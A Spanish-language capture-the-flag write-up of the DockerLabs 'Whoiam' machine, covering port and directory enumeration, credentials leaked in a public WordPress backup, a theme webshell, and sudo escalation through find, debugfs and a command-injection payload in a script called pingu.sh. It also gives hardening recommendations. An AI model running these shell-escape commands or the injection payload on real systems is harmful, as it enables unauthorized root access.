Ir al contenido

Whoiam

Este documento presenta la resolución completa de la máquina Whoiam, desarrollada por Pylon para la plataforma DockerLabs y clasificada como fácil. El objetivo es exponer un análisis claro, ordenado y técnicamente fundamentado, abarcando:

  • Identificación de vectores de ataque reales.
  • Explotación basada en fallos de configuración.
  • Escalada de privilegios mediante abuso de binarios ejecutables vía sudo.
  • Recomendaciones aplicables a entornos productivos.

La metodología utilizada se divide en tres fases:

  1. Reconocimiento: Enumeración de puertos y análisis de contenido web.
  2. Explotación: Acceso a información sensible a través de respaldos expuestos.
  3. Escalada de privilegios: Abuso progresivo de binarios con permisos delegados hasta obtener acceso root.

Toda la operación se realizó en un entorno aislado de DockerLabs.


AtributoValor
NombreWhoiam
AutorPylon
DificultadFácil
Fecha09/06/2024
PlataformaDockerLabs

Descomprimir la máquina:

Ventana de terminal
unzip Whoiam.zip

Iniciar el contenedor:

Ventana de terminal
sudo bash auto_deploy.sh Whoiam.tar

El script entrega la IP interna que usaremos durante todo el análisis:

IP asignada


Ventana de terminal
mkdir -p Whoiam/{content,exploits,nmap,gobuster,scripts}
cd Whoiam

Una estructura ordenada permite registrar correctamente cada etapa y facilita la reproducibilidad del proceso.


Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.18.0.2 -oG allPorts
extractPorts allPorts

Puertos detectados:

  • 80/tcp — HTTP

Puertos abiertos

Solo existe un servicio expuesto, por lo que la superficie de ataque se centra en la capa web.


Ventana de terminal
gobuster dir \
-u http://172.18.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js \
-t 200

gobuster scan

Los resultados revelan una instalación típica de WordPress, destacando el directorio /backups, que no es estándar y que podría revelar información sensible.

Rutas relevantes:

  • /index.php — Página principal Index

  • /backups — Directorio accesible públicamente file upload


En el directorio /backups encontramos el archivo databaseback2may.zip. Este tipo de archivos suele contener respaldo de bases de datos o configuraciones internas del CMS.

Primero, descomprimimos:

Ventana de terminal
7z x databaseback2may.zip

Revisamos su contenido:

hardcoded password

El respaldo contiene credenciales almacenadas en texto plano, lo que nos entrega un usuario y contraseña válidos para acceder al panel administrativo de WordPress.

Accedemos a:

http://172.18.0.2/wp-admin

admin dashboard

Una vez dentro con permisos de developer, es posible modificar un theme y añadir un archivo malicioso que funcione como webshell:

create webshell

Probamos la ejecución de la webshell:

test webshell

A partir de ella, subimos y ejecutamos una reverse shell en PHP, obteniendo acceso directo como www-data:

revershell activate

Acceso inicial conseguido.


Probamos:

Ventana de terminal
sudo -l

fernando subf

Se permite ejecutar find como rafa. Este binario puede ejecutar comandos arbitrarios:

Ventana de terminal
sudo -u rafa find . -exec /bin/sh \; -quit

Obtenemos acceso como rafa:

perm rafa


Salida de:

Ventana de terminal
sudo -l

rafa sudo -l

Se permite ejecutar debugfs como ruben. Este binario permite escapar a una shell:

Ventana de terminal
sudo -u ruben debugfs
!/bin/bash

Acceso conseguido:

user ruben


Salida de:

Ventana de terminal
sudo -l

pingu sudo -l

Es posible ejecutar el script pingu.sh con privilegios elevados.

Contenido del script:

pingu.sh content

El script no valida adecuadamente la entrada del usuario, permitiendo ejecutar comandos arbitrarios mediante una expresión manipulada:

Ventana de terminal
a[$(/bin/bash>&2)]+42

Esto genera una shell con privilegios de administrador.

Acceso root:

user root


  • Directorio /backups accesible públicamente.
  • Almacenamiento de credenciales en texto plano.
  • WordPress sin endurecimiento y con permisos excesivos para usuarios.
  • Uso de binarios peligrosos (find, debugfs) en configuraciones sudo sin contraseña.
  • Validación inexistente en el script pingu.sh, permitiendo ejecución arbitraria de comandos.

  • Eliminar directorios sensibles del alcance público.
  • Implementar cifrado o mover credenciales a un archivo de entorno no accesible.
  • Restringir permisos en WordPress, especialmente edición de themes.
  • Configurar reglas sudo siguiendo el principio de mínimo privilegio.
  • Validar y sanear toda entrada de usuario en scripts internos.
  • Mantener WordPress y plugins actualizados y endurecidos.